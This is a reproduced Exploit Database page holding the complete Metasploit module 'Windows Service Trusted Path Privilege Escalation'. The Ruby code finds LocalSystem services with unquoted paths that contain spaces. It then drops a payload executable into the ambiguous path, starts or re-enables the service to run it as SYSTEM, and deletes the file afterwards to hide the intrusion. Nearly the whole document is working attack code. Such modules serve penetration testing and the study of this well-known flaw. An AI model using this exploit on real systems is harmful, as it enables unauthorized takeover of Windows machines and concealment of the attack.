Microsoft Windows – Service Trusted Path Privilege Escalation (Metasploit)

• Exploit Database
• 19 阅读

• 作者： Metasploit
  日期： 2012-08-15
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/20543/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  require 'msf/core/post/common'
  require 'msf/core/post/windows/services'
  
  class Metasploit3 < Msf::Exploit::Local
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::EXE
  	include Msf::Post::Common
  	include Msf::Post::File
  	include Post::Windows::WindowsServices
  
  	def initialize(info={})
  		super( update_info( info,
  			'Name' => 'Windows Service Trusted Path Privilege Escalation',
  			'Description'=> %q{
  				This module exploits a logic flaw due to how the lpApplicationName parameter
  				is handled.When the lpApplicationName contains a space, the file name is
  				ambiguous.Take this file path as example: C:\program files\hello.exe;
  				The Windows API will try to interpret this as two possible paths:
  				C:\program.exe, and C:\program files\hello.exe, and then execute all of them.
  				To some software developers, this is an unexpected behavior, which becomes a
  				security problem if an attacker is able to place a malicious executable in one
  				of these unexpected paths, sometimes escalate privileges if run as SYSTEM.
  				Some softwares such as OpenVPN 2.1.1, or OpenSSH Server 5, etc... all have the
  				same problem.
  			},
  			'References' =>
  				[
  					['URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx']
  				],
  			'DisclosureDate' => "Oct 25 2001",
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'sinn3r'
  				],
  			'Platform' => [ 'win'],
  			'Targets'=> [ ['Windows', {}] ],
  			'SessionTypes' => [ "shell", "meterpreter" ],
  			'DefaultTarget'=> 0,
  			# Migrate away, in case the service dies (can kill access)
  			'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }
  		))
  	end
  
  
  	def check
  		if enum_vuln_services.empty?
  			return Exploit::CheckCode::Safe
  		else
  			return Exploit::CheckCode::Vulnerable
  		end
  	end
  
  
  	def enum_vuln_services(quick=false)
  		vuln_services = []
  
  		service_list.each do |name|
  			info = service_info(name)
  
  			# Sometimes there's a null byte at the end of the string,
  			# and that can break the regex -- annoying.
  			cmd = info['Command'].strip
  
  			# Check path:
  			# - Filter out paths that begin with a quote
  			# - Filter out paths that don't have a space
  			next if cmd !~ /^[a-z]\:.+\.exe$/i
  			next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true)
  
  			# Filter out services that aren't launched as SYSTEM
  			next if info['Credentials'] !~ /LocalSystem/
  
  			vprint_status("Found vulnerable service: #{name} - #{cmd} (#{info['Credentials']})")
  			vuln_services << [name, cmd]
  
  			# This process can be pretty damn slow.
  			# Allow the user to just find one, and get the hell out.
  			break if not vuln_services.empty? and quick
  		end
  
  		return vuln_services
  	end
  
  
  	def exploit
  		#
  		# Exploit the first service found
  		#
  		print_status("Finding a vulnerable service...")
  		svrs = enum_vuln_services(true)
  		if svrs.empty?
  			print_error("No service found with trusted path issues")
  			return
  		end
  
  		svr_name = svrs.first[0]
  		fpath= svrs.first[1]
  		exe_path = "#{fpath.split(' ')[0]}.exe"
  		print_status("Placing #{exe_path} as #{svr_name}")
  
  
  		#
  		# Drop the malicious executable into the path
  		#
  		exe = generate_payload_exe
  		print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...")
  		begin
  			write_file(exe_path, exe)
  		rescue Rex::Post::Meterpreter::RequestError => e
  			# Can't write the file, can't go on
  			print_error(e.message)
  			return
  		end
  
  
  		#
  		# Run the service, let the Windows API do the rest
  		#
  		print_status("Launching service #{svr_name}...")
  		tried = false
  		begin
  			status = service_start(svr_name)
  			raise RuntimeError, status if status != 0
  		rescue RuntimeError => s
  			if tried
  				print_error("Unable to start #{svr_name}")
  				return
  			else
  				tried = true	
  			end
  
  			case s.message
  			when 1
  				# Service already started, restart again
  				service_stop(svr_name)
  				retry
  			when 2
  				# Service disabled, enable it
  				service_change_startup(svr_name, 'manual')
  				retry
  			end
  		end
  
  
  		#
  		# "Nothing ever happened, we swears it on the Precious!"
  		#
  		print_status("Deleting #{exe_path}")
  		begin
  			cmd_exec("cmd /c del \"#{exe_path}\"")
  		rescue ::Exception => e
  			print_error("Unable to remove #{exe_path}: #{e.message}")
  		end
  	end
  
  end